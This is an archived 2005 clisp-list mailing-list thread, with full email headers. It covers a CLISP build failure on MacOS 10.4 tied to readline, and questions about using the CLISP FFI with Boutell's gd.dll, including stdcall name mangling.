cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 26 Jun 2005 05:12:10 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j5Q9CABn056067; Sun, 26 Jun 2005 05:12:10 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200506260912.j5Q9CABn056067@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Sun, 26 Jun 2005 05:12:16 -0400 (EDT) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] MacOS build fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 26 02:13:06 2005 X-Original-Date: Sun, 26 Jun 2005 05:12:10 -0400 (EDT) PPC MacOS 10.4 clisp-2.33.2 fails to compile, both pure out-of-the-box and DarwinPorts clisp. Two bugs are revealed and a workaround is presented. Bug #1 undefined symbols in streams.c rl_basic_quote_characters rl_gnu_readline_p undefined symbols at link time _META _history_list _rl_basic_quote_characters _rl_gnu_readline_p _rl_named_function _rl_refresh_line _rl_variable_bind Perhaps HAVE_READLINE is wrongly defined because ./configure is confused about readline? Bug #2 makemake --with-noreadline Fails to specify CFLAGS with -DNO_READLINE perhaps it should also undef HAVE_READLINE? Workaround Build as directed in unix/INSTALL and the unix/PLATFORMS MacOS section but after ./makemake and before make, add -DNO_READLINE to the CFLAGS variable in the automatically generated Makefile despite the "do not edit" warning there. Peace --Devon PS: out-of-the-box libsigsegv also fails to compile but if you don't mind the risk of some third party package mangler botching your MacOS, in Terminal ... $ sudo bash # cvs -d :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od login # cvs -d :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od co -P darwinports # cd darwinports/base # ./configure # make # make install # port selfupdate # port install libsigsegv # port install readline # port install clisp ... should work but is slow and broken. If you get it to work, please tell how. From lisp-clisp-list@m.gmane.org Sun Jun 26 05:29:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DmWFg-0005wz-UB for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 05:28:44 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DmWFd-0006Qb-C0 for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 05:28:44 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DmW8g-0001TC-VX for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 14:21:30 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 26 Jun 2005 14:21:30 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 26 Jun 2005 14:21:30 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Subject: Re: [clisp-list] clisp - link Lines: 53 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:1bBltl0pCXwpivnO+7RGMrCCvj8= X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 26 05:30:16 2005 X-Original-Date: Sun, 26 Jun 2005 05:28:11 -0700 Hello Lester, >You may just need to type ``make clisp-link'' in the clisp src directory. >Also keep in mind that if you follow the FFI examples, such as example 30.10 >at the link below, all you need to do is specify a shared library, either >.so or .dll depending on your platform. In a certain sense the dynamic >library approach is simpler and doesn't require clisp-link since your >application code will be loaded from the shared library at run time. > >http://clisp.cons.org/impnotes.html#dffi-examples > Thanks for your help. I was using binary version of clisp, so I cannot build clisp-link, so I am trying to follow the shared library at run time approach. I wrote this small piece of code trying to imitate the examples given in the book. (USE-PACKAGE "FFI") (def-c-var gdMaxColors (:type int)) But I get an error, what am I missing here? The backtrace is below. Incomplete FFI type INT is not allowed here. [Condition of type SIMPLE-ERROR] Restarts: 0: [ABORT] Abort handling SLIME request. Backtrace: 0: frame binding variables (~ = dynamically): | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL 1: EVAL frame for form (PARSE-C-TYPE 'INT) 2: EVAL frame for form (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" (PARSE-C-TYPE 'INT)) 3: EVAL frame for form (LOAD-TIME-VALUE (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" (PARSE-C-TYPE 'INT))) 4: EVAL frame for form (SYSTEM::%PUT 'GDMAXCOLORS 'FOREIGN-VARIABLE (LOAD-TIME-VALUE (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" (PARSE-C-TYPE 'INT)))) Thanks in advance. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From lisp-clisp-list@m.gmane.org Sun Jun 26 11:52:39 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DmcFD-0002PS-BL for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 11:52:39 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DmcFA-0008Rz-1B for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 11:52:39 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Dmc7i-000695-Ea for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 20:44:54 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 26 Jun 2005 20:44:54 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 26 Jun 2005 20:44:54 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 154 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:AM1wVT/dZQ4Bz4oIVixnwvwrbBU= X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp - link Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 26 11:54:10 2005 X-Original-Date: Sun, 26 Jun 2005 11:51:16 -0700 Hello Lester, Thanks once again. "Lester Vecsey" wrote: >Surendra, > >Here is some more info on beginning with the clisp FFI, along with a >followup question for more experienced FFI lispers down below. > >gdMaxColors is listed in gd.h as a define statement, so it isn't an actual >variable in the shared library. You'll have to just do (defvar gdMaxColors >256) I knew that, I was just trying to experiment with the creation of variables >> (def-c-var gdMaxColors (:type int)) But it seems I have to refer to the dll somehow while creating this variable. > >Here is a quick run down of how you might go about using a shared library >such as gd, with the CLISP FFI: > Thanks, I have that bookmarked, and I am trying to follow that closely. >Here are the beginnings of calling gdImageCreate, as layed out in the gd >basic usage example: http://www.boutell.com/gd/manual2.0.33.html#basics > >(ffi:def-call-out gd-image-create > (:name "gdImageCreate") > (:library "/code/gdwin32/bgd.dll") > (:arguments (number ffi:int) (number ffi:int)) > (:return-type (ffi:c-ptr gdImage)) > (:language :stdc)) Like you mentioned below, this does not work for me either. > >(ffi:def-call-out sleep-test > (:name "Sleep") > (:library "kernel32.dll") > (:arguments (number ffi:uint32)) > (:language :stdc)) > This works fine. >(defvar *gd-result* (gd-image-create 64 64)) > >*gd-result* >-- > >Actually, on my system it couldn't pick out the gdImageCreate function from >the .dll which I believe is related to the function having been compiled >with a definition in gd.h like this: > > #define BGD_DECLARE(rt) __declspec(dllexport) rt __stdcall > BGD_DECLARE(gdImagePtr) gdImageCreate (int sx, int sy); > >Its the __stdcall that causes a blow up, I believe. > >I noticed the same thing when calling a WndProc function defined as LRESULT >CALLBACK WndProc(...), which worked like a charm once I took the keyword >CALLBACK out of there, the CALLBACK being equivalent to __stdcall, or >__stdcall__. > >Adjusting the def-call-out :language setting didn't seem to make a >difference. Does anyone know how to account for __stdcall? Even I am interested in knowing how to make this work. Does anyone knows how to? Also, Lester your mails are not getting posted in the newsgroup, you are only sending them to me. >I suppose if >theres no response the Boutell GD library, bgd.dll, could be recompiled >without __stdcall statements. Its just a small define change in gd.h. Then >you could make more progress with getting some of the basic functions >returning meaningful results. > >I retrieved the precompiled bgd.dll with the __stdcall items in it from >here: http://www.boutell.com/gd/http/gdwin32.zip > >I put in the sleep-test above to show that at least that function works, >i.e., (sleep 1000) will pause for a second, as also described at the >articles below. The true callback / __stdcall problems seem to be with >WndProc, and the pre-built bgd dll, etc. I read at one of these message >articles that stdcall support was being considered for removal, about to be >removed and/or perhaps that it never worked or there was no apparent need >for it. > >Here are some more links on this particular stdcall question: >http://sourceforge.net/mailarchive/message.php?msg_id=1474483 >http://sourceforge.net/mailarchive/message.php?msg_id=1474483 > >> >> Hello Lester, >> >>>You may just need to type ``make clisp-link'' in the clisp src directory. >>>Also keep in mind that if you follow the FFI examples, such as example >>>30.10 >>>at the link below, all you need to do is specify a shared library, either >>>.so or .dll depending on your platform. In a certain sense the dynamic >>>library approach is simpler and doesn't require clisp-link since your >>>application code will be loaded from the shared library at run time. >>> >>>http://clisp.cons.org/impnotes.html#dffi-examples >>> >> >> Thanks for your help. I was using binary version of clisp, so I cannot >> build >> clisp-link, so I am trying to follow the shared library at run time >> approach. >> >> >> I wrote this small piece of code trying to imitate the examples given in >> the >> book. >> >> (USE-PACKAGE "FFI") >> >> (def-c-var gdMaxColors (:type int)) >> >> >> But I get an error, what am I missing here? The backtrace is below. >> >> Incomplete FFI type INT is not allowed here. >> [Condition of type SIMPLE-ERROR] >> >> Restarts: >> 0: [ABORT] Abort handling SLIME request. >> >> Backtrace: >> 0: frame binding variables (~ = dynamically): >> | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL >> 1: EVAL frame for form (PARSE-C-TYPE 'INT) >> 2: EVAL frame for form (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" >> (PARSE-C-TYPE 'INT)) >> 3: EVAL frame for form (LOAD-TIME-VALUE (FFI::LOOKUP-FOREIGN-VARIABLE >> '"gdmaxcolors" (PARSE-C-TYPE 'INT))) >> 4: EVAL frame for form (SYSTEM::%PUT 'GDMAXCOLORS 'FOREIGN-VARIABLE >> (LOAD-TIME-VALUE (FFI::LOOKUP-FOREIGN-VARIABLE '"gdmaxcolors" >> (PARSE-C-TYPE 'INT)))) >> -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From Joerg-Cyril.Hoehle@t-systems.com Mon Jun 27 04:39:11 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DmrxG-0004cP-No for clisp-list@lists.sourceforge.net; Mon, 27 Jun 2005 04:39:10 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DmrxG-0001BU-9A for clisp-list@lists.sourceforge.net; Mon, 27 Jun 2005 04:39:10 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 27 Jun 2005 13:39:08 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 27 Jun 2005 13:38:56 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304BC249B@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: efuzzyone@netscape.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] stdcall and Boutell gd.dll (was: Re: clisp - link) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 27 04:40:36 2005 X-Original-Date: Mon, 27 Jun 2005 13:38:53 +0200 Hi, Surendra Singhi wrote: >Also, Lester your mails are not getting posted in the newsgroup, you = are only >sending them to me. Same here, I can only see Surendra's replies in clisp-list. Please use = the mailing list so users can help you. > (def-c-var gdMaxColors (:type int)) >But it seems I have to refer to the dll somehow while creating this = variable. a) Indeed, you need to add (:library "gd...dll") here. b) "Incomplete FFI type INT is not allowed here." Did you get past that error? It looks like a package problem. Maybe (not (eq 'int 'ffi:int)) ? The above error is equal to "unknown FFI type `INT'", which is = surprising, since the FFI knows about ffi:int. Since you're trying and using GD, do you know about Carlos Ungil's port = of cl-gd to CLISP (i.e. using the CLISP FFI instead of UFFI)? (I've = never tried it myself, so I don't know whether this only works on = UNIX). > (:return-type (ffi:c-ptr gdImage)) This is likely wrong. Please use either (c-pointer gdImage) or = c-pointer. It's unlikely that you want to convert the foreign pointer = to a Lisp structure, which is what C-PTR does. I'd bet you need to keep = the original pointer, so as to be able to pass this handle (aka. proxy = or reference) to other gd functions. [stdcall issue] >The true callback / __stdcall problems seem to be with=20 >WndProc, and the pre-built bgd dll, etc. What is WndProc? >>Here are some more links on this particular stdcall question: >>http://sourceforge.net/mailarchive/message.php?msg_id=3D1474483 >>http://sourceforge.net/mailarchive/message.php?msg_id=3D1474483 Basically, the stdcall support in CLISP has remained where it was in = 2002 (and before), because a) nobody except Roger Corman explained to = me what difference it makes, b) nobody came up with an example where = these declarations made a difference and c) nobody complained (and d) = my time is limited etc.) so I stopped investigating that issue. So now, it looks like you found a place where you'd need this = support?!? Could you please summarize your findings, since they are a little bit = hard to follow from the e-mails so far. It looks like you've found out = that: 1. clisp does not work with Boutell's original gd.dll? A) what are the precise symptoms (crash, "not found" error, other)? 2. This is due to the gd.dll being compiled with stdcall declarations. B) Did you try (:language :stdc-stdcall) in the def-call-out = declaration? 3. A self-compiled gd.dll with stdcall removed works in a few functions = with CLISP(?) B) what functions? C) which ones don't work? >>Adjusting the def-call-out :language setting didn't seem to make a=20 >>difference. Does anyone know how to account for __stdcall?=20 >Even I am interested in knowing how to make this work. Does anyone = knows how >to?=20 May I suggest step 1: create declarations & code that provably work with the = self-compiled non-stdcall library step 2: test that with (:language :stdc-stdcall) with the second = library Isn't that what you've already done? What are the findings? Probably you'll detect some need for changes in CLISP. Things can be = changed, once we know what to change. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Jun 27 09:32:50 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DmwXS-0002c5-2y for clisp-list@lists.sourceforge.net; Mon, 27 Jun 2005 09:32:50 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DmwXR-0003Ds-Dd for clisp-list@lists.sourceforge.net; Mon, 27 Jun 2005 09:32:50 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 27 Jun 2005 18:32:05 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 27 Jun 2005 18:31:53 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304BC2585@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: efuzzyone@netscape.net, Carlos.Ungil@cern.ch X-Mailer: Internet Mail Service (5.5.2653.19) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] AW: stdcall and Boutell gd.dll (was: Re: clisp - link) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 27 09:33:16 2005 X-Original-Date: Mon, 27 Jun 2005 18:31:51 +0200 Hi, here are some findings of my own, testing Boutell's bgd.dll on MS-Windows 2= k. o The ilbrary does not seem to contain gdImageCreate but rather gdImageCrea= te@8. I.e. stdcall seems to cause some name mangling, adding the number of bytes = passed on the stack to the name. o def-call-out does not accept (:name "foo@8") ERROR "The name "gdImageCreate@8" is not a valid C identifier" but the lower-level functions do. Use macroexpand to see which I mean The most important line is (using :stdc-stdcall). (SYSTEM::%PUTD 'GD-IMAGE-CREATE (FFI::FOREIGN-LIBRARY-FUNCTION '"gdImageCreate@8" ; added @8 by hand (FFI::FOREIGN-LIBRARY "bgd.dll") NIL #(C-FUNCTION C-POINTER #(INT 0 INT 0) 33792))) o Apart this naming issue, I still found no operational difference between = :language :stdc-stdcall and :stdc. (I'll have to check the ffcall etc. sour= ces to see what they do). Both :language variants create the following stucture, where both sx and sy= are found in the correct slot: CL-GD> (gd-image-create 201 101) # CL-GD> (setq bar *) # CL-GD> (with-c-var (x '(c-ptr gd-image)) (setf (cast x 'c-pointer) bar) x) #S(GD-IMAGE :PIXELS # :SX 201 :SY 101 ; correct= :COLORS-TOTAL 0 :RED #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :GREEN #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :BLUE #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :OPEN #(1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 = 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 = 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 = 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 = 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 = 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 